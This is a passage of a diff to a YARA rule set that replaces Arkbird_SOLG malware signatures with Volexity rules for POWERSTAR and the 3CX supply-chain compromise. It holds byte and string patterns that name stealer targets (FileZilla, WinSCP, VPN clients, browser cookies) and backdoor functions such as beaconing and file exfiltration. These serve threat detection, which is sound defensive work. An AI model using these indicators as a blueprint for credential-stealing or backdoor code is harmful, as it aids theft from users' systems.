-		$s3 = { 40 53 48 81 ec 30 08 00 00 48 8b 05 [3] 00 48 33 c4 48 89 84 24 20 08 00 00 0f 10 05 [3] 00 48 8b d9 33 d2 0f 10 0d [3] 00 48 8d 4c 24 50 41 b8 d0 07 00 00 0f 29 44 24 20 0f 10 05 [3] 00 0f 29 4c 24 30 0f 29 44 24 40 e8 [2] 00 00 4c 8b 0b 48 8d 44 24 20 41 b8 00 04 00 00 41 8b c8 66 83 38 00 74 0a 48 83 c0 02 48 83 e9 01 75 f0 45 33 d2 49 8b c0 48 2b c1 48 85 c9 49 0f 44 c2 74 47 4c 2b c0 48 8d 44 44 20 74 2e b9 fe ff ff 7f 4c 2b c8 0f 1f 80 00 00 00 00 48 85 c9 74 1a 41 0f b7 14 01 66 85 d2 74 10 66 89 10 48 ff c9 48 83 c0 02 49 83 e8 01 75 e1 4d 85 c0 48 8d 50 fe 48 0f 45 d0 66 44 89 12 33 d2 8d 4a 02 ff 15 [3] 00 48 8b 4b 08 48 8d 54 24 20 ff 15 [3] 00 33 c0 48 8b 8c 24 20 08 00 00 48 33 cc e8 [2] 00 00 48 81 c4 30 08 00 00 5b }
-		$s4 = { 48 8b c8 ff 15 [3] 00 33 c9 ff 15 [3] 00 48 8b c8 41 b8 04 01 00 00 48 8d 95 30 02 00 00 ff 15 [3] 00 e8 [2] ff ff 48 8b d0 45 33 c0 48 8d 8d 30 02 00 00 ff 15 [3] 00 33 c9 ff 15 [3] 00 48 8d }
+		$f_1 = "function Borjol{"
+		$s_1 = "$global:Domain = \""
+		$s_2 = "$global:IP = \""
+		$s_3 = "$global:yeolsoe"
+		$s_4 = "$semii.Close()"
+		$s_5 = "$cemii.Close()"
+		$s_6 = "$memii.Close()"
 
 	condition:
-		uint16(0)==0x5A4D and filesize >25KB and all of ($s*)
+		any of ($f_*) or 2 of ($s_*)
 }
-rule ARKBIRD_SOLG_APT_APT27_Hyperbro_Apr_2021_1 : FILE
+rule VOLEXITY_Apt_Win_Powerstar : CHARMINGKITTEN
 {
 	meta:
-		description = "Detect Hyperbro backdoor"
-		author = "Arkbird_SOLG"
-		id = "060a200e-17dd-5789-94d4-eeff5c2e9a18"
-		date = "2021-05-01"
-		modified = "2021-05-04"
-		reference = "-"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-03/APT27/APT_APT27_Hyperbro_Apr_2021_1.yara#L1-L21"
-		license_url = "N/A"
-		logic_hash = "1a32ab7c30885a665ede66640a9b047e3c381f6f535243fcadf1a7a22e76f407"
+		description = "Custom PowerShell backdoor used by Charming Kitten."
+		author = "threatintel@volexity.com"
+		id = "febcd23b-6545-571b-905d-18dffe8e913f"
+		date = "2021-10-13"
+		modified = "2023-09-20"
+		reference = "https://github.com/volexity/threat-intel"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2023/2023-06-28 POWERSTAR/indicators/rules.yar#L122-L150"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "2cbf59eaee60a8f84b1ac35cec3b01592a2a0f56c92a2db218bb26a15be24bf3"
 		score = 75
-		quality = 35
-		tags = "FILE"
-		hash1 = "36fad80a5f328f487b20a3f5fc5f1902d50cbb1bd9167c44b66929a1288fc6f4"
-		hash2 = "52072a8f99dacd5c293fccd051eab95516d8b880cd2bc5a7e0f4a30d008e22a7"
-		hash3 = "9000ce3c0e01b6c80edb3af87aad8117513ce334135aa7d7b1c2afa067f4c4ab"
-		hash4 = "92bbcb5461ab5959e31f997a6df77995377d69f8077e43e5812fcbe9303d831c"
-		tlp = "White"
-		adversary = "APT27"
+		quality = 80
+		tags = "CHARMINGKITTEN"
+		hash1 = "de99c4fa14d99af791826a170b57a70b8265fee61c6b6278d3fe0aad98e85460"
+		memory_suitable = 1
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
 
 	strings:
-		$seq1 = { 8b [5] 7? 0? [2] 0? ?? 0? [3] ff 75 0? [11] 5? [2] 0? ?? 8b }
-		$seq2 = { e8 ?? 0? 00 00 b0 01 c3 55 8b ec ff 75 08 ff 15 34 c0 00 10 85 c0 74 11 56 8b 30 50 e8 ?? 1? 00 00 8b c6 59 85 f6 75 f1 5e 5d c3 cc 8b 4c 24 0c 0f b6 44 24 08 8b d7 8b 7c 24 04 85 c9 0f 84 3c 01 00 00 69 c0 01 01 01 01 83 f9 20 0f 8e df 00 00 00 81 f9 80 00 00 00 0f 8c 8b 00 00 00 0f ba 25 b8 27 01 10 01 73 09 f3 aa 8b 44 24 04 8b fa c3 0f ba 25 10 20 01 10 01 0f 83 b2 00 00 00 66 0f 6e c0 66 }
-		$seq3 = { 8b 44 24 08 48 75 [13] be ?? 16 00 10 bb 00 10 00 10 05 [2] 00 00 2b f3 [0-3] 74 0? 8? [0-2] cf [0-4] 03 cb ?? 11 47 3b fe 72 ?? e8 ?? fd ff ff 5f 5e 5b 33 c0 40 c2 0c 00 8b ff 55 8b ec 8b 45 0c 56 57 83 f8 01 75 7c 50 e8 1c 14 00 00 59 85 c0 75 07 33 c0 e9 0e 01 00 00 e8 a6 06 00 00 85 c0 75 07 e8 32 14 00 00 eb e9 e8 af 13 00 00 ff 15 ?? 80 00 10 a3 18 b8 00 10 e8 68 12 00 00 a3 64 ac 00 10 e8 89 0c 00 00 85 c0 7d 07 e8 1f 03 00 00 eb cf e8 93 11 00 00 85 c0 7c 20 e8 12 0f 00 00 85 c0 7c 17 6a 00 e8 41 0a 00 00 59 85 c0 75 0b ff 05 60 ac 00 10 e9 a8 00 00 00 e8 a4 0e 00 00 eb c9 33 ff 3b c7 75 31 39 3d 60 ac 00 10 7e 81 ff 0d 60 ac 00 10 39 3d b4 ac 00 10 75 05 e8 d0 0b 00 00 39 7d 10 75 7b e8 77 0e 00 00 e8 bd 02 00 00 e8 a1 13 00 00 eb 6a 83 f8 02 75 59 e8 78 02 00 00 68 14 02 00 00 6a 01 e8 54 08 00 00 8b f0 59 59 3b f7 0f 84 36 ff ff ff 56 ff 35 00 a0 00 10 ff 35 7c ac 00 10 e8 d3 01 00 00 59 ff d0 85 c0 74 17 57 56 e8 b1 02 00 00 59 59 ff 15 ?? 80 00 10 83 4e 04 ff 89 06 eb 18 56 e8 3f 07 00 00 59 e9 fa fe ff ff 83 f8 03 75 07 57 e8 33 05 00 00 59 33 c0 40 5f 5e 5d c2 0c 00 6a 0c 68 d0 92 00 10 e8 ?? 15 00 00 8b f9 8b f2 8b 5d 08 33 c0 40 89 45 e4 85 f6 75 0c 39 15 60 ac 00 10 0f 84 c5 00 00 00 83 65 fc 00 3b f0 74 05 83 fe 02 75 2e a1 ?? 81 00 10 85 c0 74 08 57 56 53 ff d0 89 45 e4 83 7d e4 00 0f 84 96 00 00 00 57 56 53 e8 72 fe ff ff 89 45 e4 }
+		$appname = "[AppProject.Program]::Main()" ascii wide
+		$langfilters1 = "*shar*" ascii wide
+		$langfilters2 = "*owers*" ascii wide
+		$definitions1 = "[string]$language" ascii wide
+		$definitions2 = "[string]$Command" ascii wide
+		$definitions3 = "[string]$ThreadName" ascii wide
+		$definitions4 = "[string]$StartStop" ascii wide
+		$sess = "$session = $v + \";;\" + $env:COMPUTERNAME + $mac;" ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize >10KB and 2 of ($seq*)
+		$appname or all of ($langfilters*) or all of ($definitions*) or $sess
 }
-rule ARKBIRD_SOLG_APT_APT_34_Maildrop_Mar_2021_1 : FILE
+rule VOLEXITY_Apt_Ico_Uta0040_B64_C2 : UTA0040 FILE
 {
 	meta:
-		description = "Detect MailDrop malware used by APT34"
-		author = "Arkbird_SOLG"
-		id = "a17c4e0b-9bbb-594d-8551-5c146e6a601e"
-		date = "2021-04-03"
-		modified = "2021-04-09"
-		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-04-03/APT34/APT_APT_34_MailDrop_Mar_2021_1.yar#L1-L24"
-		license_url = "N/A"
-		logic_hash = "f55192044bf8e190dfdc18aeaac543a5022643ea242e75ff2492939ae6e1814c"
+		description = "Detection of malicious ICO files used in 3CX compromise."
+		author = "threatintel@volexity.com"
+		id = "1efb6376-a362-5f03-b4d3-08cd7d634de6"
+		date = "2023-03-30"
+		modified = "2023-03-30"
+		reference = "https://github.com/volexity/threat-intel"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2023/2023-03-30 3CX/indicators/rules.yar#L1-L31"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "2667a36ce151c6e964f9ce9a6f587eedbffdd6ec76e451a23c5cfdd08248d15e"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		hash1 = "d6b876d72dba94fc0bacbe1cb45aba493e4b71572a7713a1a0ae844609a72504"
-		hash2 = "ebae23be2e24139245cc32ceda4b05c77ba393442482109cc69a6cecc6ad1393"
+		quality = 80
+		tags = "UTA0040, FILE"
+		hash1 = "a541e5fc421c358e0a2b07bf4771e897fb5a617998aa4876e0e1baa5fbb8e25c"
+		memory_suitable = 0
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
 
 	strings:
-		$EWSInitCom = { 7e ?? 00 00 04 28 ?? 00 00 06 ?? 4f [0-3] 02 7b ?? 00 00 04 28 ?? 00 00 06 28 ?? 00 00 06 02 7b ?? 00 00 04 6f ?? 00 00 06 02 7b ?? 00 00 04 28 ?? 00 00 06 72 ?? 00 00 70 28 ?? 00 00 0a 28 ?? 00 00 06 02 7b ?? 00 00 04 6f ?? 00 00 06 7e ?? 00 00 04 72 ?? 00 00 70 28 ?? 00 00 06 7e 06 00 00 04 28 ?? 00 00 06 [2-4] 00 00 [3-4] 00 00 [3] 00 00 [3] 00 00 [3] 00 00 }
-		$EWSCom = { 13 30 ?? 00 ?? 00 00 00 00 00 00 00 02 28 ?? 00 00 ?? 02 03 05 0e 04 0e 05 0e 06 [0-4] 73 ?? 00 00 06 7d ?? 00 00 04 04 [2-6] 00 00 ?? 02 ?? 7d ?? 00 00 04 [0-2] 02 ?? 7d ?? 00 00 04 [2-4] 00 00 [0-18] 04 02 28 ?? 00 00 06 2a }
-		$EWSDecrypt = { 13 30 03 00 27 00 00 00 ?? 00 00 11 0f 00 20 00 01 00 00 16 28 ?? 00 00 06 28 ?? 00 00 06 0a 0f 00 1f 10 16 28 ?? 00 00 06 0b 02 06 07 28 ?? 00 00 06 2a }
-		$EWSRandomData = { 1b 30 ?? 00 ?? 00 00 00 ?? 00 00 11 02 19 28 ?? 00 00 0a 0a 16 0b ?? 35 [0-3] 06 16 6a 16 6f ?? 00 00 0a 26 06 6f ?? 00 00 0a d4 8d ?? 00 00 01 0c 7e ?? 00 00 04 08 6f ?? 00 00 0a 06 08 16 06 6f ?? 00 00 0a b7 6f ?? 00 00 0a 07 17 d6 0b 07 1f 32 32 c6 [5-11] 06 6f ?? 00 00 0a dc 2a [0-1] 01 10 00 00 02 00 08 00 }
-		$s1 = "HMicrosoft Office/15.0 (Windows NT {0}; Microsoft Outlook 15.0.4675; Pro)" fullword ascii
-		$s2 = "https://{0}/ews/exchange.asmx" fullword wide
-		$s3 = "Send_Log" fullword ascii
-		$s4 = "CheckEWSConnection" fullword ascii
-		$s5 = "Done:D" fullword wide
-		$s6 = "ExecAllCmds" fullword ascii
-		$s7 = "ExchangeUri" fullword ascii
-		$s8 = "get_cmdSubject" fullword ascii
+		$IEND_dollar = {49 45 4e 44 ae 42 60 82 24}
+		$IEND_nodollar = {49 45 4e 44 ae 42 60 82 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize >20KB and 2 of ($EWS*) and 5 of ($s*)
+		uint16be(0)==0x0000 and filesize <120KB and ($IEND_dollar in ( filesize -500.. filesize ) and not $IEND_nodollar in ( filesize -20.. filesize ) and for any k in (1..#IEND_dollar) : ( for all i in (1..4) : ( uint8(@IEND_dollar[k]+!IEND_dollar[k]+i)<123 and uint8(@IEND_dollar[k]+!IEND_dollar[k]+i)>47)))
 }
-rule ARKBIRD_SOLG_RAN_Haron_Aug_2021_1 : FILE
+rule VOLEXITY_Apt_Mac_Iconic : UTA0040
 {
 	meta:
-		description = "Detect Haron locker"
-		author = "Arkbird_SOLG"
-		id = "5900ad0e-66ca-5127-b8c2-cc23ace8929f"
-		date = "2021-08-09"
-		modified = "2021-08-09"
-		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-09/RAN_Haron_Aug_2021_1.yara#L1-L22"
-		license_url = "N/A"
-		logic_hash = "5001041d9bb8acc0fa5e0e3b4cfacc5a891bed6885101ae3513b5524c91c572d"
+		description = "Detects the MACOS version of the ICONIC loader."
+		author = "threatintel@volexity.com"
+		id = "6d702ed3-e5b9-5324-a06b-507c9231cc00"
+		date = "2023-03-30"
+		modified = "2023-03-30"
+		reference = "https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2023/2023-03-30 3CX/indicators/rules.yar#L32-L50"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "7b689c3931632b01869ac2f21a1edca0a5ca9007299fe7cd16962d6866c27558"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		hash1 = "66ed5384220ff3091903e14a54849f824fdd13ac70dc4e0127eb59c1de801fc2"
-		hash2 = "6e6b78a1df17d6718daa857827a2a364b7627d9bfd6672406ad72b276014209c"
-		tlp = "white"
-		adversary = "Haron"
+		quality = 80
+		tags = "UTA0040"
+		hash1 = "a64fa9f1c76457ecc58402142a8728ce34ccba378c17318b3340083eeb7acc67"
+		memory_suitable = 1
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
 
 	strings:
-		$s1 = { 02 17 8d ?? 00 00 01 [2] 16 20 [2] 00 00 20 00 ?? 00 00 [1-5] 73 [2] 01 00 0a a2 ?? 7d ?? 01 00 0a }
-		$s2 = { 03 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 28 ?? 00 00 06 }
-		$s3 = { 1f 38 16 02 28 ?? 01 00 0a 16 9a 6f ?? 01 00 0a b8 28 ?? 00 00 06 13 07 7e ?? 01 00 0a 13 0b 11 07 11 0b 11 06 6e 1f 60 6a d7 88 20 00 30 00 00 1f 40 28 ?? 00 00 06 28 ?? 01 00 0a b8 13 08 11 07 02 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 28 ?? 00 00 06 28 ?? 01 00 0a b8 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 28 ?? 00 00 06 84 b8 13 09 11 07 02 7e }
-		$s4 = { 1f 18 02 28 ?? 01 00 0a 16 9a 6f ?? 01 00 0a b8 28 ?? 00 00 06 0a 7e ?? 01 00 0a 0b 06 07 28 ?? 01 00 0a 0c 08 2c 04 07 0d 2b 6f 12 04 fe 15 ?? 00 00 02 12 04 11 04 28 ?? 00 00 2b b8 7d ?? 00 00 04 06 12 04 28 ?? 00 00 06 0c 08 2c 4a 12 04 7c ?? 00 00 04 28 ?? 01 00 0a 20 ff ff ff 7f 6a fe 02 16 fe 01 13 05 11 05 2c 17 03 12 04 7b ?? 00 00 04 17 28 ?? 01 00 0a 16 fe 01 13 06 11 06 2d 0c 06 12 04 28 ?? 00 00 06 2d c2 2b 0a 12 04 7b ?? 00 00 04 0d 09 2a 07 0d 09 2a }
-		$s5 = { 28 0e 00 00 0a 0b 16 0c 38 84 01 00 00 07 08 9a 0a 06 6f ?? 01 00 0a 20 00 00 80 0c 6a 3e 66 01 00 00 06 6f 0d 00 00 0a 28 0c 00 00 0a 6f 0d 00 00 0a 28 21 00 00 0a 39 4c 01 00 00 06 6f 0d 00 00 0a 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 6f 2e 00 00 0a 3a 2d 01 00 00 06 6f 0d 00 00 0a 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 6f 2e 00 00 0a 3a 0e 01 00 00 06 6f 0d 00 00 0a 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 6f 2e 00 00 0a 3a ef 00 00 00 06 6f 0d 00 00 0a 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 6f 2e 00 00 0a 3a d0 00 00 00 06 6f 0d 00 00 0a 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 6f 2e 00 00 0a 3a b1 00 00 00 06 6f 0d 00 00 0a 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 6f 2e 00 00 0a 3a 92 00 00 00 06 6f 0d 00 00 0a 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 6f 2e 00 00 0a 2d 76 06 6f 0d 00 00 0a 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 6f 2e 00 00 0a 2d 5a 06 6f 0d 00 00 0a 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 6f 2e 00 00 0a 2d 3e 06 6f 0d 00 00 0a 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 6f 2e 00 00 0a 2d 22 06 6f 0d 00 00 0a 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 6f 2e 00 00 0a 2d 06 06 6f 26 00 00 0a de 03 26 de 00 08 17 58 0c 08 07 8e 69 3f 73 fe ff ff 20 c4 09 00 00 28 18 00 00 0a dd 57 fe ff ff 26 dd 51 fe ff ff }
-		$s6 = { 7e ?? 00 00 0a 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 28 09 00 00 06 6f [2] 00 0a 0a 06 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 28 09 00 00 06 7e ?? 00 00 04 20 [2] 66 06 28 [2] 00 06 6f [2] 00 0a 06 6f ?? 00 00 0a de 03 26 de 00 2a }
-		$s7 = { 28 ?? 00 00 06 0a 02 06 28 ?? 00 00 06 0b 07 6f [2] 00 0a 16 16 17 20 ff 0f 1f 00 17 14 73 [2] 00 0a 16 14 73 [2] 00 0a 6f [2] 00 0a 02 06 07 28 ?? 00 00 06 de 03 26 de 00 2a 00 00 00 }
+		$str1 = "3CX Desktop App" xor(0x01-0xff)
+		$str2 = "__tutma=" xor(0x01-0xff)
+		$str3 = "Mozilla/5.0" xor(0x01-0xff)
 
 	condition:
-		uint16(0)==0x5A4D and filesize >25KB and 6 of ($s*)
+		all of them
 }
-rule ARKBIRD_SOLG_MAL_Kpot_Oct_2020_1 : FILE
+rule VOLEXITY_Apt_Win_Iconicstealer : UTA0040
 {
 	meta:
-		description = "Detect KPot stealer (new variant October 2020)"
-		author = "Arkbird_SOLG"
-		id = "316feeb3-59e5-5d18-9800-db41fabd6cb0"
-		date = "2020-10-17"
-		modified = "2020-10-17"
-		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-10-17/MAL_KPot_Oct_2020_1.yar#L1-L40"
-		license_url = "N/A"
-		logic_hash = "20010e8f2d45f904911664edee710f4dca18327c2b80766c253970a50624d13c"
+		description = "Detect the ICONICSTEALER malware family."
+		author = "threatintel@volexity.com"
+		id = "d7896506-6ce5-59b1-b24a-87ffdb2a5174"
+		date = "2023-03-30"
+		modified = "2023-03-30"
+		reference = "https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2023/2023-03-30 3CX/indicators/rules.yar#L51-L69"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "ed7731d2361e7d96a6a35f8359b61a2af049b16bc457cf870db8831e142aebe2"
 		score = 75
-		quality = 73
-		tags = "FILE"
-		hash1 = "028ec268176707aadc2cf8e65a28236cbed214f9fd65fc3346ee34e859e50057"
+		quality = 80
+		tags = "UTA0040"
+		hash1 = "8ab3a5eaaf8c296080fadf56b265194681d7da5da7c02562953a4cb60e147423"
+		memory_suitable = 1
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
 
 	strings:
-		$olds1 = "%s | %s | %s | %s | %s | %s | %s | %d | %s" fullword ascii
-		$olds2 = "%s\\%s\\%s\\%.6s_%d.dat" fullword wide
-		$olds3 = "%s\\%s\\%s-Qt" fullword wide
-		$olds4 = "%s\\%s\\%.6ss" fullword wide
-		$olds5 = "%s\\%s\\%s.vdf" fullword wide
-		$olds6 = "https://%S/a/%S" fullword wide
-		$olds7 = { 4e 00 61 00 6d 00 65 00 3a 00 09 00 25 00 6c 00 73 00 0d 00 0a 00 43 00 6f 00 6d 00 6d 00 65 00 6e 00 74 00 3a 00 20 00 25 00 6c 00 73 00 0d 00 0a 00 55 00 73 00 65 00 72 00 3a 00 09 00 25 00 6c 00 73 00 0d 00 0a 00 44 00 61 00 74 00 61 00 3a 00 20 00 0d 00 0a 00 00 00 00 00 25 00 32 00 2e 00 32 00 58 00 20 00 00 00 00 00 25 00 2d 00 35 00 30 00 73 00 20 00 25 00 73 }
-		$debug1 = "4|Remote Desktop|%s|%s|%s|" fullword ascii
-		$debug2 = "1|TotalCommander|%s|%s|%s|" fullword ascii
-		$debug3 = "1|FileZilla|%s:%s|%s|%S|" fullword ascii
-		$debug4 = "5|Windows Mail|%s|%s|%s|" fullword ascii
-		$debug5 = "5|Outlook|%s:%d|%s|%s|" fullword ascii
-		$debug6 = "1|WS_FTP|%s|%s|%S|" fullword ascii
-		$debug7 = "1|WinSCP|%s|%s|%s|" fullword ascii
-		$debug8 = "3|Pidgin|%s|%s|%s|" fullword ascii
-		$debug9 = "3|Psi(+)|%s|%s|%s|" fullword ascii
-		$debug10 = "2|EarthVPN||%s|%s|" fullword ascii
-		$debug11 = "2|NordVPN||%s|%s|" fullword ascii
-		$debug12 = "0|%s|%S|%s|%s|%s" fullword ascii
-		$debug13 = "0|%S|%s|%s|%s|%S" fullword ascii
-		$debug14 = "0|%s|%s|%s|%s|" fullword ascii
-		$debug15 = "Masked|%s|%02d/%04d|%s|%s|%s" fullword ascii
-		$op1 = "{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_is1" fullword ascii
-		$op2 = { 25 73 0d 0a 25 73 0d 0a 56 69 73 69 74 73 20 63 6f 75 6e 74 3a 20 25 64 0d 0a 4c 61 73 74 20 76 69 73 69 74 3a 20 5b 25 64 2d 25 30 32 64 2d 25 30 32 64 20 25 30 32 64 3a 25 30 32 64 3a 25 30 32 64 5d 0d 0a 0d 0a 00 42 72 6f 77 73 65 72 73 5c 48 69 73 74 6f 72 79 5c 25 73 2e 74 78 74 00 42 72 6f 77 73 65 72 73 5c 41 75 74 6f 66 69 6c 6c 5c 25 73 2e 74 78 74 00 00 00 00 42 72 6f 77 73 65 72 73 5c 43 6f 6f 6b 69 65 73 5c 25 73 2e 74 78 74 }
-		$op3 = "abe2869f-9b47-4cd9-a358-c22904dba7f7" fullword ascii
-		$op4 = "monero-project" fullword ascii
+		$str1 = "\\3CXDesktopApp\\config.json" wide
+		$str2 = "url, title FROM urls" wide
+		$str3 = "url, title FROM moz_places" wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize >120KB and 4 of ($olds*) and 10 of ($debug*) and 2 of ($op*)
+		all of them
 }
-rule ARKBIRD_SOLG_APT_UNC2452_Sunshuttle_Mar_2021_1 : FILE
+rule VOLEXITY_Apt_Win_Iconic : UTA0040
 {
 	meta:
-		description = "Detect Sunshuttle implant used by UNC2452 group"
-		author = "Arkbird_SOLG"
-		id = "faa07d19-4c61-554d-a6b1-ab7cb0919ec0"
-		date = "2021-03-06"
-		modified = "2021-03-06"
-		reference = "https://twitter.com/Arkbird_SOLG/status/1367570764468224010"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-03-06/UNC2452/APT_UNC2452_sunshuttle_Mar_2021_1.yar#L1-L31"
-		license_url = "N/A"
-		logic_hash = "368487f1716aaa5c10e19a428649d6706b3f45c53853e6729752dc41fc97bc38"
+		description = "Detect the ICONIC loader."
+		author = "threatintel@volexity.com"
+		id = "e7d6fcc0-c830-5236-90fb-182c66873903"
+		date = "2023-03-30"
+		modified = "2023-03-30"
+		reference = "https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2023/2023-03-30 3CX/indicators/rules.yar#L70-L93"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "b62b1543c9af3afb8fc885f313e1a5d2fcb688657e3807cce72b31b56381681e"
 		score = 75
-		quality = 63
-		tags = "FILE"
-		hash1 = "611458206837560511cb007ab5eeb57047025c2edc0643184561a6bf451e8c2c"
-		hash2 = "b9a2c986b6ad1eb4cfb0303baede906936fe96396f3cf490b0984a4798d741d8"
-		hash3 = "bbd16685917b9b35c7480d5711193c1cd0e4e7ccb0f2bf1fd584c0aebca5ae4c"
+		quality = 55
+		tags = "UTA0040"
+		hash1 = "f79c3b0adb6ec7bcc8bc9ae955a1571aaed6755a28c8b17b1d7595ee86840952"
+		memory_suitable = 1
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
 
 	strings:
-		$s1 = { 47 6f 20 62 75 69 6c 64 20 49 44 3a 20 22 39 59 72 42 6a 6b 6b 58 46 79 6b 62 47 51 72 6d 56 32 4b 49 2f 41 48 44 69 7a 57 51 61 4d 38 47 38 4a 37 6b 56 4b 32 56 65 2f 46 55 74 5f 6b 6b 53 56 6c 78 32 36 49 6e 46 56 61 79 70 77 2f 6c 75 5a 41 54 35 55 6e 55 69 34 64 4a 65 6b 6e 73 6b 55 6e 22 }
-		$s2 = { 47 6f 20 62 75 69 6c 64 20 49 44 3a 20 22 71 6f 66 49 6b 76 62 6c 73 31 69 72 4f 36 78 68 6a 41 63 5a 2f 6a 49 69 71 41 70 70 31 56 6f 39 72 4f 53 2d 44 6a 65 4e 75 2f 62 50 75 6e 33 4e 35 74 49 42 58 4b 50 74 4e 79 73 48 4f 51 2f 41 52 53 72 63 65 6b 35 68 51 47 38 59 49 56 6e 4d 75 37 54 22 }
-		$s3 = { 6f 73 2f 65 78 65 63 2e 28 2a 43 6d 64 29 2e 52 75 6e }
-		$s4 = "main.request_session_key" fullword ascii
-		$s5 = "main.wget_file" fullword ascii
-		$s6 = "main.GetMD5Hash" fullword ascii
-		$s7 = "main.beaconing" fullword ascii
-		$s8 = "main.resolve_command" fullword ascii
-		$s9 = "main.send_file_part" fullword ascii
-		$s10 = "main.retrieve_session_key" fullword ascii
-		$s11 = "main.send_command_result" fullword ascii
-		$s12 = { 63 38 3a 32 37 3a 63 63 3a 63 32 3a 33 37 3a 35 61 }
-		$s13 = { 2d 2d 2d 2d 2d 42 45 47 49 4e }
-		$s14 = { 2d 2d 2d 2d 2d 45 4e 44 }
+		$internal_name = "samcli.dll"
+		$str1 = "gzip, deflate, br"
+		$str2 = "__tutma"
+		$str3 = "__tutmc"
+		$str4 = "ChainingModeGCM" wide
+		$str5 = "ChainingMode" wide
+		$str6 = "icon%d.ico" wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize >800KB and 12 of them
+		all of them
 }
-rule ARKBIRD_SOLG_APT_Unknown_Middle_East_Feb_2020_1 : FILE
+rule VOLEXITY_Apt_Win_3Cx_Backdoored_Lib : UTA0040
 {
 	meta:
-		description = "Dectect unknown Middle East implants (retrohunt June 2020)"
-		author = "Arkbird_SOLG"
-		id = "e45675e6-29d5-587b-943e-19450772a092"
-		date = "2021-03-05"
-		modified = "2021-03-06"
-		reference = "internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-03-06/Unknown/APT_Unknown_Middle_East_Feb_2020_1.yar#L1-L24"
-		license_url = "N/A"
-		logic_hash = "64cdac73bc3e29e8716cb24ae6577f853b2cf31303d129a0ec38ba89b7ff5351"
+		description = "Detects the malicious library delivered in the backdoored 3CX installer."
+		author = "threatintel@volexity.com"
+		id = "39270b93-830e-598f-a38e-fcc5050e4d30"
+		date = "2023-03-30"
+		modified = "2023-03-30"
+		reference = "https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2023/2023-03-30 3CX/indicators/rules.yar#L94-L133"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "40be2d46a318ff03724ea1f6628d78001c14c85a3ae6d032c0324ea849d707f2"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		hash1 = "274beb57ae19cbc5c2027e08cb2b718dea7ed1acb21bd329d5aba33231fb699d"
-		hash2 = "3a4ef9b7bd7f61c75501262e8b9e31f9e9bc3a841d5de33dcdeb8aaa65e95f76"
+		quality = 80
+		tags = "UTA0040"
